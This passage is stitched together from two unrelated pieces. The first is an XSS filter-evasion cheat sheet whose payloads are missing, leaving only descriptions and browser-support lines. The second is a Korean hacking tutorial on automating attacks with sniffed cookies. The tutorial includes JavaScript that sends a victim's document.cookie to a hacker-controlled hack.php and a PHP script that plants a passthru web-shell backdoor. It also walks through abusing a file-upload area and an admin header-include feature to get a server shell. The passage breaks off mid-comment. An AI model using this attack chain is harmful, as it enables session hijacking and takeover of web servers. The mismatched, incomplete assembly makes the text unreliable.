    in an image:

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    Mocha (older versions of Netscape only):

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54] [NS4]


    (older versions of Netscape only):

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54] [NS4]


    US-ASCII encoding (found by Kurt Huwig). This uses malformed ASCII encoding with 7 bits instead of 8. This XSS may bypass many content filters but only works if the host transmits in US-ASCII encoding, or if you set the encoding yourself. This is more useful against web application firewall cross site scripting evasion than it is server side filter evasion. Apache Tomcat is the only known server that transmits in US-ASCII encoding:

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54] [NS4]


    META (the odd thing about meta refresh is that it doesn't send a referrer in the header - so it can be used for certain types of attacks where you need to get rid of referring URLs):

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    META using data: directive URL scheme. This is nice because it also doesn't have anything visibly that has the word SCRIPT or the JavaScript directive in it, because it utilizes base64 encoding. Please see RFC 2397 for more details or go here or here to encode your own. You can also use the XSS calculator below if you just want to encode raw HTML or JavaScript as it has a Base64 encoding method:

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    META with additional URL parameter. If the target website attempts to see if the URL contains "http://" at the beginning you can evade it with the following technique (Submitted by Moritz Naumann):

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    IFRAME (if iframes are allowed there are a lot of other XSS problems as well):

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    FRAME (frames have the same sorts of XSS problems as iframes):

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    TABLE (who would have thought tables were XSS targets... except me, of course):

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    TD (just like above, TD's are vulnerable to BACKGROUNDs containing JavaScript XSS vectors):

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    DIV background-image:

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    DIV background-image with unicoded XSS exploit (this has been modified slightly to obfuscate the url parameter). The original vulnerability was found by Renaud Lifchitz as a vulnerability in Hotmail:

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    DIV background-image plus extra characters. I built a quick XSS fuzzer to detect any erroneous characters that are allowed after the open parenthesis but before the JavaScript directive in IE and Netscape 8.1 in secure site mode. These are in decimal but you can include hex and add padding of course. (Any of the following chars can be used: 1-32, 34, 39, 160, 8192-8.13, 12288, 65279):

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    DIV expression - a variant of this was effective against a real world cross site scripting filter using a newline between the colon and "expression":

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    STYLE tags with broken up JavaScript for XSS (this XSS at times sends IE into an infinite loop of alerts):

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    STYLE attribute using a comment to break up expression (Thanks to Roman Ivanov for this one):

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    Anonymous HTML with STYLE attribute (IE6.0 and Netscape 8.1+ in IE rendering engine mode don't really care if the HTML tag you build exists or not, as long as it starts with an open angle bracket and a letter):

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    IMG STYLE with expression (this is really a hybrid of the above XSS vectors, but it really does show how hard STYLE tags can be to parse apart, like above this can send IE into a loop):

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    STYLE tag (Older versions of Netscape only):

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54] [NS4]


    STYLE tag using background-image:

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    STYLE tag using background:

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    Downlevel-Hidden block (only works in IE5.0 and later and Netscape 8.1 in IE rendering engine mode). Some websites consider anything inside a comment block to be safe and therefore does not need to be removed, which allows our Cross Site Scripting vector. Or the system could add comment tags around something to attempt to render it harmless. As we can see, that probably wouldn't do the job:

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    BASE tag. Works in IE and Netscape 8.1 in safe mode. You need the // to comment out the next characters so you won't get a JavaScript error and your XSS tag will render. Also, this relies on the fact that the website uses dynamically placed images like "images/image.jpg" rather than full paths. If the path includes a leading forward slash like "/images/image.jpg" you can remove one slash from this vector (as long as there are two to begin the comment this will work):

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    OBJECT tag (if they allow objects, you can also inject virus payloads to infect the users, etc. and same with the APPLET tag). The linked file is actually an HTML file that can contain your XSS:

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    Using an OBJECT tag you can embed XSS directly (this is unverified so no browser support is added):



    Using an EMBED tag you can embed a Flash movie that contains XSS. Click here for a demo. If you add the attributes allowScriptAccess="never" and allownetworking="internal" it can mitigate this risk (thank you to Jonathan Vanasco for the info).:

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    inside flash can obfuscate your XSS vector:

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    XML namespace. The htc file must be located on the same server as your XSS vector:

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    XML data island with CDATA obfuscation (this XSS attack works only in IE and Netscape 8.1 in IE rendering engine mode) - vector found by Sec Consult while auditing Yahoo:

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    XML data island with comment obfuscation (this is another take on the same exploit that doesn't use CDATA fields, but rather uses comments to break up the javascript directive):

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    Locally hosted XML with embedded JavaScript that is generated using an XML data island. This is the same as above but instead referrs to a locally hosted (must be on the same server) XML file that contains your cross site scripting vector. You can see the result here:

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    HTML+TIME in XML. This is how Grey Magic hacked Hotmail and Yahoo!. This only works in Internet Explorer and Netscape 8.1 in IE rendering engine mode and remember that you need to be between HTML and BODY tags for this to work:

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    Assuming you can only fit in a few characters and it filters against ".js" you can rename your JavaScript file to an image as an XSS vector:

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    SSI (Server Side Includes) requires SSI to be installed on the server to use this XSS vector. I probably don't need to mention this, but if you can run commands on the server there are no doubt much more serious issues:

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    PHP - requires PHP to be installed on the server to use this XSS vector. Again, if you can run any scripts remotely like this, there are probably much more dire issues:

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    IMG Embedded commands - this works when the webpage where this is injected (like a web-board) is behind password protection and that password protection works with other commands on the same domain. This can be used to delete users, add users (if the user who visits the page is an administrator), send credentials elsewhere, etc.... This is one of the lesser used but more useful XSS vectors:

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    IMG Embedded commands part II - this is more scary because there are absolutely no identifiers that make it look suspicious other than it is not hosted on your own domain. The vector uses a 302 or 304 (others work too) to redirect the image back to a command. So a normal <IMG SRC="http://badguy.com/a.jpg"> could actually be an attack vector to run commands as the user who views the image link. Here is the .htaccess (under Apache) line to accomplish the vector (thanks to Timo for part of this):

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    Cookie manipulation - admittidly this is pretty obscure but I have seen a few examples where <META is allowed and you can use it to overwrite cookies. There are other examples of sites where instead of fetching the username from a database it is stored inside of a cookie to be displayed only to the user who visits the page. With these two scenarios combined you can modify the victim's cookie which will be displayed back to them as JavaScript (you can also use this to log people out or change their user states, get them to log in as you, etc...):

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    UTF-7 encoding - if the page that the XSS resides on doesn't provide a page charset header, or any browser that is set to UTF-7 encoding can be exploited with the following (Thanks to Roman Ivanov for this one). Click here for an example (you don't need the charset statement if the user's browser is set to auto-detect and there is no overriding content-types on the page in Internet Explorer and Netscape 8.1 in IE rendering engine mode). This does not work in any modern browser without changing the encoding type which is why it is marked as completely unsupported. Watchfire found this hole in Google's custom 404 script.:
    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]




XSS using HTML quote encapsulation:

    This was tested in IE, your mileage may vary. For performing XSS on sites that allow "<SCRIPT>" but don't allow "<SCRIPT SRC..." by way of a regex filter "/<script[^>]+src/i":

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    For performing XSS on sites that allow "<SCRIPT>" but don't allow "<script src..." by way of a regex filter "/<script((\s+\w+(\s*=\s*(?:"(.)*?"|'(.)*?'|[^'">\s]+))?)+\s*|\s*)src/i" (this is an important one, because I've seen this regex in the wild):

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    Another XSS to evade the same filter, "/<script((\s+\w+(\s*=\s*(?:"(.)*?"|'(.)*?'|[^'">\s]+))?)+\s*|\s*)src/i":

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    Yet another XSS to evade the same filter, "/<script((\s+\w+(\s*=\s*(?:"(.)*?"|'(.)*?'|[^'">\s]+))?)+\s*|\s*)src/i". I know I said I wasn't goint to discuss mitigation techniques but the only thing I've seen work for this XSS example if you still want to allow <SCRIPT> tags but not remote script is a state machine (and of course there are other ways to get around this if they allow <SCRIPT> tags):

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    And one last XSS attack to evade, "/<script((\s+\w+(\s*=\s*(?:"(.)*?"|'(.)*?'|[^'">\s]+))?)+\s*|\s*)src/i" using grave accents (again, doesn't work in Firefox):

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    Here's an XSS example that bets on the fact that the regex won't catch a matching pair of quotes but will rather find any quotes to terminate a parameter string improperly:

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    This XSS still worries me, as it would be nearly impossible to stop this without blocking all active content:

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]




URL string evasion (assuming "http://www.google.com/" is programmatically disallowed):

    IP verses hostname:

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    URL encoding:

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    Dword encoding (Note: there are other of variations of Dword encoding - see the IP Obfuscation calculator below for more details):

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    Hex encoding (the total size of each number allowed is somewhere in the neighborhood of 240 total characters as you can see on the second digit, and since the hex number is between 0 and F the leading zero on the third hex quotet is not required):

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    Octal encoding (again padding is allowed, although you must keep it above 4 total characters per class - as in class A, class B, etc...):

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    Mixed encoding (let's mix and match base encoding and throw in some tabs and newlines - why browsers allow this, I'll never know). The tabs and newlines only work if this is encapsulated with quotes:

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    Protocol resolution bypass (// translates to http:// which saves a few more bytes). This is really handy when space is an issue too (two less characters can go a long way) and can easily bypass regex like "(ht|f)tp(s)?://" (thanks to Ozh for part of this one). You can also change the "//" to "\\". You do need to keep the slashes in place, however, otherwise this will be interpreted as a relative path URL.

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    Google "feeling lucky" part 1. Firefox uses Google's "feeling lucky" function to redirect the user to any keywords you type in. So if your exploitable page is the top for some random keyword (as you see here) you can use that feature against any Firefox user. This uses Firefox's "keyword:" protocol. You can concatinate several keywords by using something like the following "keyword:XSS+RSnake" for instance.
    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    Google "feeling lucky" part 2. This uses a very tiny trick that appears to work Firefox only, because if it's implementation of the "feeling lucky" function. Unlike the next one this does not work in Opera because Opera believes that this is the old HTTP Basic Auth phishing attack, which it is not. It's simply a malformed URL. If you click okay on the dialogue it will work, but as a result of the erroneous dialogue box I am saying that this is not supported in Opera:

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    Google "feeling lucky" part 3. This uses a malformed URL that appears to work in Firefox and Opera only, because if their implementation of the "feeling lucky" function. Like all of the above it requires that you are #1 in Google for the keyword in question (in this case "google"):

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    Removing cnames (when combined with the above URL, removing "www." will save an additional 4 bytes for a total byte savings of 9 for servers that have this set up properly):

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    Extra dot for absolute DNS:

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    JavaScript link location:

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    Content replace as attack vector (assuming "http://www.google.com/" is programmatically replaced with nothing). I actually used a similar attack vector against a several seperate real world XSS filters by using the conversion filter itself (here is an example) to help create the attack vector (IE: "java&#x26;#x09;script:" was converted into "java&#x09;script:", which renders in IE, Netscape 8.1+ in secure site mode and Opera):

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


Character Encoding:

    All the possible combinations of the character "<" in HTML and JavaScript (in UTF-8). Most of these won't render out of the box, but many of them can get rendered in certain circumstances as seen above (standards are great, aren't they?):



Browser support reference table:

IE7.0              Vector works in Internet Explorer 7.0. Most recently tested with Internet Explorer 7.0.5700.6 RC1, Windows XP Professional SP2.
IE6.0 Vector works in Internet Explorer. Most recently tested with Internet Explorer 6.0.28.1.1106CO, SP2 on Windows 2000.
NS8.1-IE Vector works in Netscape 8.1+ in IE rendering engine mode. Most recently tested with Netscape 8.1 on Windows XP Professional. This used to be called trusted mode, but Netscape has changed it's security model away from the trusted/untrusted model and has opted towards Gecko as a default and IE as an option.
NS8.1-G Vector works in Netscape 8.1+ in the Gecko rendering engine mode. Most recently tested with Netscape 8.1 on Windows XP Professional
FF1.5 Vector works in Mozilla's Gecko rendering engine, used by Firefox. Most recently tested with Firefox 1.5.0.4 on Windows XP Professional.
O8.54 Vector works in Opera. Most recently tested with Opera 8.54, Build 7722 on Windows XP Professional
NS4 Vector works in older versions of Netscape 4.0 - untested.


Note: if a vector is not marked it either does not work or it is untested

2009/08/26 17:40 2009/08/26 17:40

Automatic attack program that can be used in Cookie Sniffing
(Cookie Sniffing 에 사용될 수 있는 자동 공격 프로그램)

by Beist Security Research Group
(http://beist.org)

Members of Beist Research Group : beist and anonymous people
Members of Beist Study Group : beist, dars21, obhacker, passion, p-jackpot, jacaranda, cina



요약 : Cookie Sniffing은 WWW 환경에서 해커가 사용자나 관리자의 Cookie 혹은 Session과 같이 중요한 정보를 가로채는 기법을 말하고 Cookie Spoofing은 이 정보를 이용하여 해커가 자신의 신분을 속이는 행위를 하는 것을 말한다. 이 정보는 유효 시간이 있을수 있기 때문에 해커는 정보를 획득한 후 빠른 시간 안에 Spoofing 공격을 수행해야 하는데 이 문서는 이러한 공격을 자동으로 처리함으로써 유효 시간에 제약이 없는 공격 기법에 대해서 소개하였다. 해커가 미리 만들어둔 공격 프로그램은 Cookie를 받는 동시에, 자동화 공격 알고리즘을 통해서 공격을 시도한다. 공격에 필요한 정보와, 공격에 수행할 행동을 바탕으로, 자동으로 타겟 서버에 접속하여 자동화 된 공격을 구현하였다. 이러한 공격 작업으로 인해 Cookie나 Session의 유효 시간 안에 공격을 수행할수 있을 뿐만 아니라 관리자의 발 빠른 보안 대처를 힘들게 할 수 있다.






1. 개요

이 문서는 Cookie Sniffing 을 통하여 Target (여기서는 Admin ID 나 특정 사용자를 말합니다.) 의 Cookie 를 획득하였을 때, 그 이후의 공격 과정을 자동으로 처리하는 방법에 대해서 소개합니다. 만약 Cookie, Cookie Sniffing 공격 기법에 대한 이해가 부족하시다면 beist의 개인 강좌들을 먼저 참고하시고 이 글을 읽어보시기 바랍니다. 이 글은 Target 의 Cookie 를 획득한 후의 공격 과정을 자동으로 수행하는 방법에 대해서 다루고 있으므로 Cookie, Cookie Sniffing 기술에 대한 이해가 충분하지 않으시면 이 문서를 이해하시는 데 조금 어려움이 있을 수도 있습니다.

Target 의 Cookie 를 가져오는데 성공했다면, 해당 Cookie 를 이용하여 다시 공격을 수행해야 합니다. 만약 훔쳐온 쿠키가 시간 제한 없이 여전히 사용될 수 있는 내용의 쿠키라면 굳이 이 자동화 공격이 필요하지 않을 것입니다. 그러나 Session 일 경우에 (어떤 상황에서는, Cookie 일 경우에도) 일정 시간이 지날 경우 Session 값이 사라져 버리거나 변조될 수 있기 때문에 Target 의 Session, Cookie 데이터를 획득하고 나서 빠른 시간 안에 공격을 해야 합니다.

그렇지만 Cookie Sniffing 공격 기술의 특성상, 해커가 작성한 악성 코드를 Target 이 읽어야지만 해커에게 Cookie 에게 날라오는데, Target 이 언제 악성 코드를 읽을지 아무도 알 수 없습니다. Target 이 악성 코드를 읽어서 Cookie가 넘어올 때까지 24 시간 컴퓨터 앞에서 지켜보고 있다면 문제가 없겠지만 현실적으로 힘든 이야기입니다. 이런 상황에 대비하여 공격을 자동화하는 프로그램을 만들어둔다면 Cookie를 얻어올 때까지 기다려야 하는 수고를 하지 않아도 됩니다. 공격을 수행하는 프로그램은 다양한 언어로 제작할 수 있겠지만, 여기서는 PHP 를 이용하여 만들어 보겠습니다.








2. 이용될 수 있는 곳

이 문서에서 다루는 주제는 Cookie 를 얻은 후의 공격 과정을 자동으로 수행하는 프로그램에 대해서 설명합니다. 이 기술을 이용한다면 Cookie 를 얻어올 때까지 기다려야하는 수고를 하지 않아도 됩니다. Cookie Sniffing 은, 제로보드 같은 게시판이나 Web 기반의 메일 서비스, 쇼핑몰, 기타 Cookie 나 Session 을 사용하는 Web 서비스들을 공격하는데 응용될 수 있습니다. 이 문서에서는 임의로 만든 PHP CGI 를 대상으로 기술할 것입니다.

이 문서는 Session Sniffing 후에 공격하는 것에 대해서 알아볼 것입니다. Session Sniffing 에 대해서 알아볼 것이지만, Cookie Sniffing 공격에도 똑같이 적용될 수 있습니다.

(Cookie 와 Session 은 엄밀히 따지면 다른 것이지만, 여기에서 사용하는 기법은 두가지 다 이용할 수 있는 기법이므로 이 문서에서는 두 단어를 구별하지 않고 사용하겠습니다. 그리고 또, Cookie Sniffing 의 자동화 공격화 공격이 요점이기 때문에, 기타 CGI 에 대한 자세한 설명이나 기타 취약 가능성에 대해서는 고려하지 않고 작성하였습니다.)








3. 기술적인 내용

먼저 쿠키를 가져오는 방법에 대해서 간략하게 알아보겠습니다. 여기서 사용하는 쿠키 스니핑은 Cookie Sniffing by Using txt extension 문서에서 설명하였던 방법을 이용하겠습니다. (굳이 이 방법을 이용하지 않아도 쿠키 스니핑을 하는 방법은 여러 가지가 있겠습니다.) 이 문서에서 Admin과 Target은 같은 뜻을 갖고 있습니다. 구분하지 마시고 읽어주시기 바랍니다.

이 문서에서 설명하는 해킹 순서를 알아보겠습니다.

(1) Target 의 Cookie 를 훔쳐오는 악성 Javascript 작성 (test.txt)
(2) Target 서버의 CGI 자료실에 test.txt 업로드
(3) 쉘을 생성하는 PHP 스크립트 작성하여 CGI 자료실에 업로드 (beist.txt)
(4) Cookie 를 저장하고, CGI 를 공격하는 hack.php 코드를 작성, 해커의 서버에 업로드
(5) Target ID 에게 test.txt URL 을 메모로 보내고 Target 이 test.txt 파일을 읽기를 기다림
(6) Target 이 test.txt 를 읽게되면 hack.php 로 Cookie 가 넘어가고 hack.php 에서는 이를 이용하여 Target CGI 를 자동 공격
(7) beist.php 를 이용하여 nobody shell 획득

조금 복잡한 과정이므로 위 7 가지의 순서를 각각 나누어 설명 하겠습니다.

target 의 정보는 다음과 같습니다.

Target Server URL - http://beist.org/
Target CGI URL - http://beist.org/~beist/auto/index.html

해커의 정보는 다음과 같습니다. 아래의 컴퓨터 주소는 해커가 Target 을 공격할 때 이용합니다.

Hacker URL - http://beist.hackerscomputer/



(1) Target 의 Cookie 를 훔쳐오는 악성 Javascript 작성 (test.txt)

Cookie Sniffing 에 이용되는 Javascript 문법은 단순합니다. 대표적인 방법으로 window.open 메소드를 호출할 때, 현재 웹 브라우저에 저장되어있는 cookie 를 같이 넘겨주면 되는데, document.cookie 가 바로 그 값입니다.


test.txt

<html>
<head>
<title>beist's Cookie Sniffing</title>

<script language=javascript>
window.open("http://beist.hackerscomputer/hack.php?cook="+document.cookie+"&url="+location.href);
</script>

</head>
<body>

Automatic attack program that can use in Cookie Sniffing

</body>
</html>



이러한 Javascript 파일을 만듭니다. test.txt 의 기능은, window.open 메소드를 호출하고, open할 페이지로 hackerscomputer 의 hack.php 를 지정합니다. 이때 cook 이라는 인자를 넘기고, 그 값은 현재 브라우저의 쿠키가 담긴 document.cookie 를 보냅니다. 뒤의 url 인자에 담긴, location.href 라는 객체는 현재 웹 브라우저의 주소 값을 담고 있습니다. hack.php 에서 자동화 공격을 시도할 때, 보다 동적인 공격을 하기 위해 정보를 얻어냅니다.



(2) Target 서버의 CGI 자료실에 test.txt 업로드

위 파일을 Target 서버의 CGI 자료실에 업로드합니다.

(Cookie Sniffing by Using txt extension 문서에서는 txt 확장자를 이용한 Cookie Sniffing 을 설명하였지만, 반드시 확장자가 txt 여야하는 것은 아닙니다. 상황에 따라서는 jpg 확장자를 갖고 있어도 가능합니다. 즉, 회원 정보에 사진을 올릴 수 있는 기능을 이용한다거나 하는 다른 방법으로도 얼마든지 파일을 Target 서버에 올릴 수 있습니다.)

자료실 기능만 존재한다면 CGI 의 확장자 검사 기능은 걱정하지 않아도 됩니다. txt 확장자를 막아놓는 설정은 거의 찾아볼 수 없으며 있다고 하더라도 jpg 나 기타 다른 확장자를 이용하면 가능하기 때문입니다.


[화면1] http://beist.org/~beist/auto/index.html (메인메뉴)


pds 메뉴로 들어가 test.txt 파일을 업로드 하겠습니다.

[화면2] http://beist.org/~beist/auto/pds.html (파일 업로드 Form)


해커가 올린 test.txt 파일이 정상적으로 업로드 되었습니다.

[화면3] http://beist.org/~beist/auto/pds_ok.html (파일 업로드 ok 메세지)


pds_ok.html 의 소스를 보겠습니다.


pds_ok.html

<?

echo "
<html>
<head>
<title>pds_ok</title>
</head>
<body>
<center><br><br>
<font size=2>";

if(eregi("php", $file_name))
{
echo "no php : $file_name";
exit;
}

if(eregi("htm", $file_name))
{
echo "no htm* : $file_name";
exit;
}

if(!copy($file, "data/$file_name"))
{
echo "file save failed";
exit;
}

echo "http://beist.org/~beist/auto/data/$file_name save ok";

?>


test.txt 를 정상적으로 업로드 하였고, test.txt 파일이 놓인 위치는 다음과 같습니다.

test.txt URL - http://beist.org/~beist/auto/data/test.txt



(3) 쉘을 생성하는 PHP 스크립트 작성하여 CGI 자료실에 업로드 (beist.txt)

이번에는 쉘을 생성하는 PHP 스크립트를 작성해보겠습니다. 이 PHP 스크립트는, hack.php 에서 CGI 를 공격할 때 간접적으로 이용됩니다. 스크립트를 작성한 다음 스크립트의 기능에 대해서 간단하게 알아보고 이 것을 이용하는 방법은 뒤에서 다루겠습니다. 자료실에 업로드하기 위해 확장자를 txt로 하였습니다.


beist.txt


<?

/* 이 스크립트에서 생성하는 beist.php 은 passthru 를 실행하는 backdoor
파일입니다. 만약 beist.php 가 존재하지 않는다면 { } 안의 루틴을 실행합니다. */

if(!file_exists("./data/beist.php"))
{

/* 아래의 루틴은, beist.php 를 쓰기 모드로 열고, 파일 안에 <? passthru($beist); ?> 의
내용을 넣습니다. */

$fp=fopen("./data/beist.php", "w");

fputs($fp, "<? passthru(\$beist); ?>");

fclose($fp);

}

echo "
<html>
<head>
<title>beist test target program</title>
</head>
";

?>


만약 위 beist.txt 가 PHP 로 정상적으로 실행된다면, beist.php 가 생성될 것이고, 해커는 beist.php 파일을 이용하여 target 시스템의 nobody 쉘을 얻을 수 있습니다.

잠시 후에 beist.txt가 이용되는 곳에 대해 자세히 설명하겠지만, 미리 간단하게 알아보고 넘어가겠습니다. 어떤 CGI 는 Admin 기능 중, head 와 foot 에 (머리말과 꼬리말) 특정 파일을 include 시킬 수 있는 기능이 존재합니다. 머리말과 꼬리말을 이용하면 Admin 이 특정 메세지나 작업 등을 웹 페이지에 삽입하려할 때 편리합니다.

이 문서에서 target 으로 지정한 CGI 는 이러한 기능을 지원합니다. beist.txt 는 머리말과 꼬리말에 파일을 지정할 수 있는 기능에 이용할 것입니다. 머리말 혹은 꼬리말 둘 중 하나에 beist.txt 파일을 지정해놓으면, CGI 가 작동될 때마다 beist.txt 의 내용이 PHP 로 실행될 것입니다. (물론, 만약 include 가 아닌 단순히 print 를 해준다면 beist.txt 는 PHP 로 실행되지 않습니다.)

beist.txt 파일도, (2) 의 과정처럼 Target 서버의 PDS 에 업로드 합니다. 만약 beist.txt 파일이 정상적으로 업로드 되었다면 URL 은 다음과 같습니다.

beist.txt URL - http://beist.org/~beist/auto/data/beist.txt




(4) Cookie 를 저장하고, CGI 를 공격하는 hack.php 코드를 작성, 해커의 서버에 업로드

이 문서에서 기술하는 것 중 가장 중요한 부분입니다. hack.php 은, Target 의 쿠키를 훔쳐오자마자 바로 Target Server를 공격하는 작업을 수행합니다. hack.php 의 수행 구조에 대해서 간략히 알아보겠습니다.

hack.php 의 진행 순서

-1- Target Server 정보 저장
-2- Cookie Sniffing 으로 가져온 Target 의 Cookie(Session) 를 저장
-3- Target Web Server 에 연결
-4- Admin Menu 기능을 수행하는 CGI 요청
-5- Admin Menu 의 include 기능을 이용하여 beist.txt 파일을 include 하도록 환경 설정
-6- 쿼리 전달

hack.php 의 소스를 만들기전에 몇가지를 알아보겠습니다. 이 공격은 Target CGI 의 구조를 파악하고 있다는 전제 하에 가능합니다. Target CGI 의 Admin 메뉴 관련 파일들을 알아보겠습니다.


[화면4] http://beist.org/~beist/auto/admin_login.html (admin login form)


admin_login.html

<html>
<head>
<title>admin login</title>
</head>
<body>
<center><br><br>
<font size=2>
beist admin login page<br><br>
<table>
<form action=admin_loginok.html method=post>
<td>ID : </td><td><input type=text name=id></td><tr>
<td>Passwd : </td><td><input type=password name=passwd></td><tr>
<td><input type=submit></td><td></td>
</form>
</body>
</html>


[화면5] http://beist.org/~beist/auto/admin_loginok.html (admin login ok)


admin_loginok.html

<?
session_start();

if($id == "admin" && $passwd == "beist")
{
$id="admin";
$passwd="beist";
session_register("id");
session_register("passwd");
echo "login ok";
}

echo("<meta http-equiv='refresh' content='0; URL=admin_menu.html'>\n");

?>


[화면6] http://beist.org/~beist/auto/admin_menu.html (admin menu)


admin_menu.html

<?
session_start();

/* Session 인증 작업. 만약 정상적인 인증이 아니라면 oh! beist 라는
메세지를 출력하고 CGI 실행을 종료한다. */

if($HTTP_SESSION_VARS["id"])
{
if($HTTP_SESSION_VARS["id"]!="admin")
{
echo "oh! beist";
exit;
}
if($HTTP_SESSION_VARS["passwd"]!="beist")
{
echo "oh! beist";
exit;
}

echo "
<html>
<head>
<title>beist admin menu</title>
</head>
<body>
<font size=2><center><br><br>
<form action=admin_menu.html method=post>
head file : <input type=text name=head><input type=submit>
</form>
</body>
</html>";

/* head는 header로 지정할 파일 이름을 가리킨다. 만약 head 변수의 값이 존재한다면,
./data/head.txt 파일을 열고 admin 이 지정한 파일을 넣는다. */

if($head)
{
$fp=fopen("./data/head.txt", "w");
fputs($fp, $head);
fclose($fp);
}

/* head.txt 파일이 존재하는지 확인한다. head.txt 파일이 존재한다면
admin 이 지정한 header 파일이 있다는 이야기이다. 그 값을 출력해준다. */

if(file_exists("./data/head.txt"))
{
$fp=fopen("./data/head.txt", "r");
$data=fgets($fp, 256);
echo "header file : $data";
fclose($fp);
}

echo "<br><br>welcome to beist world";
}
else
{
echo "oh! beist";
}

?>


이 3 개의 파일이 Admin CGI 입니다. admin_login.html, admin_loginok.html 파일은 간단하므로 설명하지 않겠습니다. 주의깊게 봐야할 파일은 admin_menu.html 파일입니다. 우리가 공격할 CGI의 Admin Menu는 header 파일을 지정할 수 있는 기능을 갖추었습니다. Target CGI 의 index.html 의 소스를 보겠습니다.


index.html

<?

/* ./data/head.txt 파일이 존재하는지 확인. 존재한다면 admin 이 header
